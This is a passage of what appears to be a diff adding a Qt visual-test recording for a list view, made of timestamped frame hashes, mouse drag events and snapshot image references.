"3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2336 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2352 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2368 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2384 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2400 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2416 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2432 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2448 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2464 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2480 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2496 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2512 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2528 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2544 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2560 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2576 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2592 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 553; y: 267 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2608 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 2624 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 554; y: 267 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 555; y: 266 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2640 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 556; y: 265 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 558; y: 260 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2656 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 560; y: 256 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2672 + hash: "c315e184c4dcb11d7e9fd4509a8b6a1f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 562; y: 250 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 566; y: 234 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2688 + hash: "aeef1cacca9518408519b670443e396f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 568; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "621626927f83bf7b36b78f5ca7ed4ed0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 572; y: 192 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 572; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2720 + hash: "b2aca965b745e98365195c52b9dd9a2c" + } + Frame { + msec: 2736 + hash: "4cc8c162afcc45c79afd8230893d4ddd" + } + Frame { + msec: 2752 + hash: "b9c0815086393878ad00566db7a3c577" + } + Frame { + msec: 2768 + hash: "23cbc15fce97f966c24e3ec626e01960" + } + Frame { + msec: 2784 + hash: "3a7ce897b47ba39e63be31a020de6f3d" + } + Frame { + msec: 2800 + hash: "2a8a32cd27fad2c57c9eb518c7b3b3ca" + } + Frame { + msec: 2816 + hash: "96d676ad58119430b440a5f0a2215f26" + } + Frame { + msec: 2832 + hash: "5f9cd251615ee6a98470a7b6098f7890" + } + Frame { + msec: 2848 + hash: "c9b1c073cbfbf1c353685b3f38baa675" + } + Frame { + msec: 2864 + hash: "cf5bfbfe8904ea40b796d2b33d5cc363" + } + Frame { + msec: 2880 + image: "listview.2.png" + } + Frame { + msec: 2896 + hash: "c75c3342b476f75fc0c5f56a374da13e" + } + Frame { + msec: 2912 + hash: "0dfcd15d21b7e949b56bc69d881c52f5" + } + Frame { + msec: 2928 + hash: "73b7352bb11d29cbf64b6b594e761e42" + } + Frame { + msec: 2944 + hash: "876361c2fc18c2236c1dffd36f517f44" + } + Frame { + msec: 2960 + hash: "0dfaf61e3a86ee056a5d76cf6f7994b2" + } + Frame { + msec: 2976 + hash: "391995cfc5d8d3808b30d74ba5ea3188" + } + Frame { + msec: 2992 + hash: "6fd4f14c16a8870355fa190c94e4be2d" + } + Frame { + msec: 3008 + hash: "0aac04c8092505d934220e61c7959512" + } + Frame { + msec: 3024 + hash: "6cb0fbe22fcd60b5ed6385e49522b32e" + } + Frame { + msec: 3040 + hash: "2eb7fd1a773e32ae94284cf57efaaff2" + } + Frame { + msec: 3056 + hash: "e143ed5eeb94b35ef97e965f34d45e4d" + } + Frame { + msec: 3072 + hash: "529e85f2cd48c1f0d056682b8350445b" + } + Frame { + msec: 3088 + hash: "d74bded985c00ecd192ff8fdce708450" + } + Frame { + msec: 3104 + hash: "f71568b2173f72c4433a019775923c02" + } + Frame { + msec: 3120 + hash: "1185a1c936ac08633c14d39ca9c4f5e9" + } + Frame { + msec: 3136 + hash: "e641720bf75f1e4f0a8471f3a8b35094" + } + Frame { + msec: 3152 + hash: "cecc41fb42abb95505c094829fd415bf" + } + Frame { + msec: 3168 + hash: "7ad89090beb9de3cd7c5a5a03fca900d" + } + Frame { + msec: 3184 + hash: "2a98fe4406367d4e286d8932d6a21318" + } + Frame { + msec: 3200 + hash: "9aad024b2fc25ce886ccaa4ac106b1d8" + } + Frame { + msec: 3216 + hash: "3c4a787a4d590efd2e72706e40df7b6d" + } + Frame { + msec: 3232 + hash: "1135e06c2981bdaed13c13400e178dc3" + } + Frame { + msec: 3248 + hash: "1fbceedf1c20f2aa3f05be36126280e2" + } + Frame { + msec: 3264 + hash: "5d1ec83f43b649c732cc3f7815100428" + } + Frame { + msec: 3280 + hash: "27501f6b6adccfdb77a5228611e2a95a" + } + Frame { + msec: 3296 + hash: "218dc244352c14467f2b2a39d78a1bc7" + } + Frame { + msec: 3312 + hash: "33a998563d2c053e375f619b7a75a224" + } + Frame { + msec: 3328 + hash: "02d34b79e25367e6d0dc1765cab12353" + } + Frame { + msec: 3344 + hash: "2698cf68138aa7d292167bcc85f60b74" + } + Frame { + msec: 3360 + hash: "0b33e929b420596ff1dce2eeef8480db" + } + Frame { + msec: 3376 + hash: "d8ec307a85cecaacaa908ceb34d5db5b" + } + Frame { + msec: 3392 + hash: "4afe1df3e802b41d1b89b5fab4e35190" + } + Frame { + msec: 3408 + hash: "e8f484ed8d2a6745ee87ac9544281d55" + } + Frame { + msec: 3424 + hash: "6df053920e87d7e6e3ec0368b4b14c25" + } + Frame { + msec: 3440 + hash: "6e94791acce321417a37132821c0260d" + } + Frame { + msec: 3456 + hash: "fea3e31cbf3078615f57c934197dac35" + } + Frame { + msec: 3472 + hash: "e8d15890a8bd95db39889d19f046901b" + } + Frame { + msec: 3488 + hash: "038b422b154dfef2d955b833892c581e" + } + Frame { + msec: 3504 + hash: "01180b3d9b504ca2814382eadaf3a4e0" + } + Frame { + msec: 3520 + hash: "869a0aa0d67043822c65383e0f3264d4" + } + Frame { + msec: 3536 + hash: "43785b1214510c10b65018a9d68a93b1" + } + Frame { + msec: 3552 + hash: "95e6ebc35c2fb128b6e6ac0743268523" + } + Frame { + msec: 3568 + hash: "f8c22a6ca3169de4d29b3b0e2908f581" + } + Frame { + msec: 3584 + hash: "6baf16c321847d269718bcb3468aeeb2" + } + Frame { + msec: 3600 + hash: "30804b5eb2a6d99116475cbdc1a9c043" + } + Frame { + msec: 3616 + hash: "c892c17ec947a910b74f5b8704405e9f" + } + Frame { + msec: 3632 + hash: "696029b77512943001c9eba64191e633" + } + Frame { + msec: 3648 + hash: "4c26bb0ca28d74a2bb79d0bfc8127361" + } + Frame { + msec: 3664 + hash: "6e8c50cc14c9afe73b4baf09a6a8f1a4" + } + Frame { + msec: 3680 + hash: "fd20e4259b44357c93f22f35c698fe1b" + } + Frame { + msec: 3696 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3712 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3728 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3744 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3760 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3776 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3792 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3808 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3824 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3840 + image: "listview.3.png" + } + Frame { + msec: 3856 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3872 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3888 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3904 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3920 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3936 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3952 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3968 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 3984 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4000 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4016 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4032 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4048 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4064 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4080 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4096 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4112 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4128 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Frame { + msec: 4144 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 521; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "5d49efe1383065f0b88f1bfdbbe5e165" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 37 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "a5df688148c264de1d376c9b87ddfa6b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4208 + hash: "a4e2c1878b0afce0ee1eebd63e9c951a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 66 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 88 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4224 + hash: "2f9a79278d492790ef86a09c77e95ff4" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 531; y: 136 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 531; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4240 + hash: "5b5ce7206b26528157c426f4e1e3e0a8" + } + Frame { + msec: 4256 + hash: "65a1e5f81ab89b163aed46b984cca45e" + } + Frame { + msec: 4272 + hash: "e28253ad5a2415251b68bcda1d7d4bd0" + } + Frame { + msec: 4288 + hash: "71aae5abb4a9e9077053ea21dd3ec315" + } + Frame { + msec: 4304 + hash: "33fcea38fc3b328b3294f9ac2a26aa1a" + } + Frame { + msec: 4320 + hash: "6299eb1d87f371966307668b92de6a0b" + } + Frame { + msec: 4336 + hash: "4f66d8c7cb6971d0fc24089d123c547b" + } + Frame { + msec: 4352 + hash: "d9906d61b31fabf968290ebcd6688f34" + } + Frame { + msec: 4368 + hash: "5a1945993ff8096ba6b933d45586044a" + } + Frame { + msec: 4384 + hash: "331535e54da9bbdbc2fbf2b244ad0199" + } + Frame { + msec: 4400 + hash: "4dc39de0c54f6e0b77f94f6ae6c345ec" + } + Frame { + msec: 4416 + hash: "ec309a298ce246c13eb666488eb75016" + } + Frame { + msec: 4432 + hash: "a133819f8adc6265eb0e438261c869e3" + } + Frame { + msec: 4448 + hash: "da4d64fd6b3ae7d49ee5c5c8d0117a37" + } + Frame { + msec: 4464 + hash: "620dd1c3fc41ce657eac9d1a5b765fd4" + } + Frame { + msec: 4480 + hash: "ff1c370bd1bf75a98ae7125e7dd5a9db" + } + Frame { + msec: 4496 + hash: "59c6e4297109b5cc7c197749867dddae" + } + Frame { + msec: 4512 + hash: "91b1719e86529d0c35a53a2d0a095dd6" + } + Frame { + msec: 4528 + hash: "2994663d35c9eb453a27c1a1fa9aeeb8" + } + Frame { + msec: 4544 + hash: "ae4ec37b9f6a00b3c9139e5cfe13d32e" + } + Frame { + msec: 4560 + hash: "a98340236d1b65f47e88684168c1429d" + } + Frame { + msec: 4576 + hash: "34848b483ea6a2bd412e29d26beb3ab0" + } + Frame { + msec: 4592 + hash: "dd9bae0e2fca84b265d8cb59686ff88d" + } + Frame { + msec: 4608 + hash: "18b6ef6f5913b0612b76e7b2e25073dd" + } + Frame { + msec: 4624 + hash: "9398aab9478279aed1bc40c9378f8da4" + } + Frame { + msec: 4640 + hash: "a297a304c12102f23bd1e0f0207e0df9" + } + Frame { + msec: 4656 + hash: "091db9138cd6ae801ad857105a83c8f9" + } + Frame { + msec: 4672 + hash: "253938ca4a4f13433ddd502eb94cb7cd" + } + Frame { + msec: 4688 + hash: "6002df1793d290e4e31ee0c91c37bbe6" + } + Frame { + msec: 4704 + hash: "212476fa1c3a52fb8eba03ec3aecdcd8" + } + Frame { + msec: 4720 + hash: "80d4d8434d4e96a2bc23f5ed060d6ddc" + } + Frame { + msec: 4736 + hash: "2d4add725f31a04558635ce4b73a758a" + } + Frame { + msec: 4752 + hash: "57c06022ec1e502c4f49f43063c433e7" + } + Frame { + msec: 4768 + hash: "8393e97990993f9d5f68ea65f8e4a2db" + } + Frame { + msec: 4784 + hash: "9a1fcd96dffaf5c79ecc7f9427e02499" + } + Frame { + msec: 4800 + image: "listview.4.png" + } + Frame { + msec: 4816 + hash: "5ae722cf541e3453e73bbee57dc379e9" + } + Frame { + msec: 4832 + hash: "fc7326c2e2e56d9c3036e8dfc2ea77a8" + } + Frame { + msec: 4848 + hash: "f22a2a68cea158f333b0457025d75490" + } + Frame { + msec: 4864 + hash: "d684c8aa9b835779080f170cafead40f" + } + Frame { + msec: 4880 + hash: "dd451e5e421f929d015981bc7aeb8c66" + } + Frame { + msec: 4896 + hash: "d066f228295db7f46520495167d3e946" + } + Frame { + msec: 4912 + hash: "ebf640a457e3498bade3220aafa70331" + } + Frame { + msec: 4928 + hash: "190f5b1f3ce9d200790c34c50bcc62c5" + } + Frame { + msec: 4944 + hash: "9d4ad865246eb008afa40740b5c9a208" + } + Frame { + msec: 4960 + hash: "81c8b2c0b4f9e74f24d328a1d9b40a9f" + } + Frame { + msec: 4976 + hash: "24acc300307e71bee79bce8de76f56cb" + } + Frame { + msec: 4992 + hash: "1f9d31f94cfce6f868bfcc8a104d2465" + } + Frame { + msec: 5008 + hash: "7a3cab008dcb7a893ae30797b33df6f2" + } + Frame { + msec: 5024 + hash: "38d561a2950434e59513439c7f1120ea" + } + Frame { + msec: 5040 + hash: "8d34131faa15bc126bd4d9ef3be39ef5" + } + Frame { + msec: 5056 + hash: "85d57ef15791b56deb537795dd87911e" + } + Frame { + msec: 5072 + hash: "71e932169915a6c8c2cef0b22febf316" + } + Frame { + msec: 5088 + hash: "8b3452981963aeebadc9ac2013150263" + } + Frame { + msec: 5104 + hash: "a3fb8abecfeb48ba1cd1fd8f40896fa0" + } + Frame { + msec: 5120 + hash: "f53ab533f6a58ae45139f3da4bf8ab4e" + } + Frame { + msec: 5136 + hash: "9ec7012404f3c1c7795810dcee5acc3b" + } + Frame { + msec: 5152 + hash: "99ca43bab532dd5d7566e596c65053ce" + } + Frame { + msec: 5168 + hash: "0af83ad2416821cc230cd2856d1a3e39" + } + Frame { + msec: 5184 + hash: "86fa23ddf2005bbf35238ae04ae554ac" + } + Frame { + msec: 5200 + hash: "bb52a748f1d85dde410cfa4f24e3ed20" + } + Frame { + msec: 5216 + hash: "898b96bc5ee9a3ac61764e5cd9af8cfb" + } + Frame { + msec: 5232 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5248 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5264 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5280 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5296 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5312 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5328 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5344 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5360 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5376 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5392 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5408 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5424 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5440 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5456 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5472 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5488 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5504 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5520 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5536 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5552 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5568 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5584 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5600 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5616 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5632 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5648 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5664 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5680 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5696 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5712 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5728 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5744 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5760 + image: "listview.5.png" + } + Frame { + msec: 5776 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5792 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5808 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5824 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5840 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5856 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5872 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5888 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5904 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5920 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5936 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5952 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Frame { + msec: 5968 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 111; y: 230 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 227 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5984 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 223 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6000 + hash: "3b88645092be28037fca4a6034f5b2f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 216 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 210 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6016 + hash: "0076b55d3da4ca365688b6a2c984103f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 112; y: 205 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6032 + hash: "db846ad8e3200ca1fce36a38dc7beab8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 112; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6048 + hash: "3cb6b25725b4285f9c096d595224c5ca" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 180 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6064 + hash: "1832e12fdf3b464b02b296e727b33694" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 110; y: 173 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6080 + hash: "6d18d2b5f65cbba4915d0725d24b40f3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 109; y: 158 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 107; y: 140 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6096 + hash: "79bc7afc6b1aa5f8904b3e6d5d4a9389" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 124 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6112 + hash: "4436f2d15304c839aacec486c1fd6d96" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6128 + hash: "c3bffc7c95893cf9bbd8596208b7f657" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 105 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 100 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6144 + hash: "04231c2fdc02729aa34ed4e403dd373b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6160 + hash: "392d75c4b372825e78366eb63a618170" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 101; y: 87 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 83 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6176 + hash: "7f91f7bdb0cb62d600ac4aa573681fe3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 102; y: 79 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6192 + hash: "69207181a382650c5e33145555f0d9ba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 76 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 103; y: 72 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6208 + hash: "65a184b5c49b02e08114e437483f928d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 68 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 64 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6224 + hash: "c22da9ce54d04f51fb55da755753a509" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 105; y: 61 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6240 + hash: "59dbd5216847a62f60a1d0701a15bb62" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 57 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 53 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6256 + hash: "bbfc902db6e6ca253afb1c90306b2a63" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 106; y: 47 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 106; y: 47 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6272 + hash: "5c41f194afec5f7e3db9d98673d03d5c" + } + Frame { + msec: 6288 + hash: "deb06d0f915d5f6ec39b1820d57b6af6" + } + Frame { + msec: 6304 + hash: "deb06d0f915d5f6ec39b1820d57b6af6" + } + Frame { + msec: 6320 + hash: "2a1a1f9239a6ccb308e51796f9b0bb89" + } + Frame { + msec: 6336 + hash: "3c1b44201616b8271023bf05a3f3f0f7" + } + Frame { + msec: 6352 + hash: "87afcef49db8b2b547e85e834f8ec304" + } + Frame { + msec: 6368 + hash: "290081b4b1272ef09ec9964c128e61b5" + } + Frame { + msec: 6384 + hash: "19bb3b23ee4b14a5f0a313106ef7c8c1" + } + Frame { + msec: 6400 + hash: "65a184b5c49b02e08114e437483f928d" + } + Frame { + msec: 6416 + hash: "832d2aefbcaf776f35039be527d367c5" + } + Frame { + msec: 6432 + hash: "69207181a382650c5e33145555f0d9ba" + } + Frame { + msec: 6448 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6464 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6480 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6496 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6512 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6528 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6544 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6560 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6576 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6592 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6608 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6624 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6640 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6656 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6672 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6688 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6704 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6720 + image: "listview.6.png" + } + Frame { + msec: 6736 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6752 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6768 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6784 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6800 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6816 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6832 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6848 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6864 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6880 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6896 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6912 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6928 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6944 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6960 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6976 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 6992 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7008 + hash: "89fe95733476bd000457e36ee4ecfc73" + } + Frame { + msec: 7024 + 